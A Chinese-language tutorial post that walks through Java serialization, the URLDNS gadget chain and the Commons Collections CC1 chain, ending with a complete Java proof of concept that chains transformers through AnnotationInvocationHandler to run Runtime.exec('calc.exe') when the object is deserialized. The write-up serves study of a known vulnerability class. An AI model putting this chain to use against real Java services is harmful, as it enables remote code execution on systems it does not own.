JAVA序列化与反序列化&URLDNS链&CC1链

1、序列化的实现

java序列化的是对象属性的,只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常),静态成员变量是属于类的,所以静态成员变量是不能被序列化的,被transient 标识的对象成员变量不参与序列化。

2、重写readObject方法的原因

java.lang.Object

└── java.io.InputStream

└── java.io.ObjectInputStream

重写(Override)是指子类定义了一个与其父类中具有相同名称、参数列表和返回类型的方法,并且子类方法的实现覆盖了父类方法的实现。重写好处在于可以根据父类已有的方法选择性去的重写,比如父类有a,b,c,readobject()这四个方法,但是你只希望使用readObject()方法进行重写,你就可以只重写readObject()方法。

3、Java反序列化漏洞条件

共同条件继承Serializable

入口类:因为反序列化一定会调用readObject()方法,所以可以把readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject,重写的这个readObject最好调用常见的函数,参数类型宽泛(Object 类最宽泛,接口类例如HashMap随便存放各种参数),最好是JDK自带的类(这里是因为要对方的服务器上也存在这个类才可以)

调用链:gadget chain 相同名称,相同类型

执行类:(rce ssrf写文件等)最重要

URLDNS链分析

思路:URL这个类有解析DNS的的方法,通过调用类中的hashCode里的getHostAddress(u);方法可以直接解析dns,若想通过构造恶意类来攻击目标服务器实现DNS解析,可以考虑此方法。但是反序列化一定会调用的是readObjet()方法,也就是上面提到的readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject。这里如果你想到用URL类下自带的readObject方法,这个入口选择是错误的,如下图所示。

从图中我们可以看出,URL类中的readObject并无可以进一步利用的函数"常见的函数,参数类型宽泛(Object 类最宽泛,接口类,例如HashMap随便存放各种参数)"因此我们就想找其他类作为入口,中间如果有相同名称,相同类型可以构造调用链来解决。去找新的入口类调用hashCode方法,发现HashMap类下有有一个hash函数调用了hashCode,并且右键hash查找用法发现了readObject,构造链已经确定。HashMap------>readObject()------>hash()------>hashcode()

POC

一开始是这样写的如下图如

debug发现,序列化的时候就会解析DNS,原因是因为URL里的hashCode会默认hashCode=-1,导致进去hashCode去解析DNS。

但是在反序列化的时候我们给URL之前默认给的值是1,这样URL下的hashCode方法就不会去执行调用handler.hashCode去解析DNS,导致我们构造的恶意类无用。因此考虑在调用hhandler.hashCode之前把hashCode改为1,然后再反序列化之前再把hashCode改为-1。

CC1链分析

首先找到Transform这个接口类看他的实现方法有哪些
在InvokerTransformer类调用的transform方法发现此方法的类,参数类型,值都是可控的类似于后门,可以创建实现任意类,这里我们把他当做sink

进一步查找有无通过readObject方法调用transform方法的,找不到,因此找中间方法,找到了TransformedMap类下的checksetvalue方法调用了transform

valueTransformer.transform(value);这里简单分析一下,当valueTransformer=InvokerTransformer

value=Runtime.class,便可实现命令执行。

这里通过valueTransformer构造方法传参

继续去找调用了checkSetValue方法的类,在这个AbstractInputCheckedMapDecorator抽象类下的静态类MapEntry调用了setValue

这里我们可以发现

MapEntry extends AbstractMapEntryDecorator

public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue

Map.Entry还是接口类

知识点:接口类必须被实现,抽象类的方法只能由子类实现

所以调用MapEntry类中的setValu方法其实调用的是MapEntry下的setValue()

然后再次去寻找那个类下的readObject()方法调用了setValue()方法,在AnnotationInvocationHandler下发现了readObject方法并且调用了setValue()

下图是根据以上调用链条写的POC

这里进入调用setValue()首先要满足两个if条件

这是

在调试代码的时候发现我们传入的memberTypes为空

通过此行代码可以发现
Class<?> memberType = memberTypes.get(name);

他是从传入的mmberType通过get方法查找有无对应的参数

下图我们可以看到Override类里并没有方法调用所以我们这里考虑换一个有调用方法的类

这个地方把key改成value

调试代码显示memberType已经不为空了

然后在想如何绕过第二个if

这里就要利用到了Transformer接口实现的另一个类ConstantTransformer,它实现了transform方法无论输入对象是什么,他都会返回参数构造中的固定值

但是你会发现,你不仅要调用创建InvokerTransformer,还要调用创建ConstantTransformer,如何解决这个问题呢,这时候利益用到了Transformer接口实现的另一个类ChainedTransformer他的transform方法是一个递归调用transfrom方法正合适可以拿来给我们使用

调用setvalue方法你会发现传入的参数是无效的参数,这时候就巧妙地用到了constantTransformer.transform() 方法,因为这个方法不管参数是什么,他最终都只会返回 iConstant 对象,我们把这个类里的 iConstant 赋值为 Runtime 对象,就可以使链条闭环

同时这里还有一个问题,Runtime类没有继承Serializable,所以要通过反射来实现,这里想到InvokerTransformer的transform可以实现任意类因此通过此方法实现Runtime类来实现命令执行

最后测试

成功

完整POC

java 复制代码
package com.example.fastjson122.demos.web;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class TestCC1 {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        //Runtime.getRuntime().exec("calc");
          Runtime r=Runtime.getRuntime();
//        Class c=Runtime.class;
//        Method execMethod=c.getMethod("exec",String.class);
//        execMethod.invoke(r,"calc");
        Transformer[] transformer=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
        //Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        //transformedmap.put(1,Runtime.getRuntime());
//        for(Map.Entry entry:transformedmap.entrySet()){
//            entry.setValue(r);
//        }
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annConstructor.setAccessible(true);
        Object o=annConstructor.newInstance(Target.class,transformedmap);
        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }

}
相关推荐
苏墨瀚1 小时前
SQL语言的散点图
开发语言·后端·golang
飞翔中文网1 小时前
Java设计模式之装饰器模式
java·设计模式
Suwg2092 小时前
【Java导出word】使用poi-tl轻松实现Java导出数据到Word文档
java·开发语言·word·poi-tl
坚持拒绝熬夜2 小时前
JVM的一些知识
java·jvm·笔记·java-ee
水w2 小时前
【pyCharm Git】根据dev分支新建dev_y分支,本地也新建dev_y分支,并将代码提交到Gitlab上的新分支dev_y上。
开发语言·git·python·pycharm·pull·push·branch
范哥来了3 小时前
python 数据可视化matplotib库安装与使用
开发语言·python·信息可视化
laimaxgg3 小时前
Qt窗口控件之颜色对话框QColorDialog
开发语言·前端·c++·qt·命令模式·qt6.3
wkm9563 小时前
Ubuntu Qt: no service found for - “org.qt-project.qt.mediaplayer“
开发语言·qt·ubuntu
小画家~4 小时前
第三:go 操作mysql
开发语言·mysql·golang
修炼成精4 小时前
C#实现的一个简单的软件保护方案
java·开发语言·c#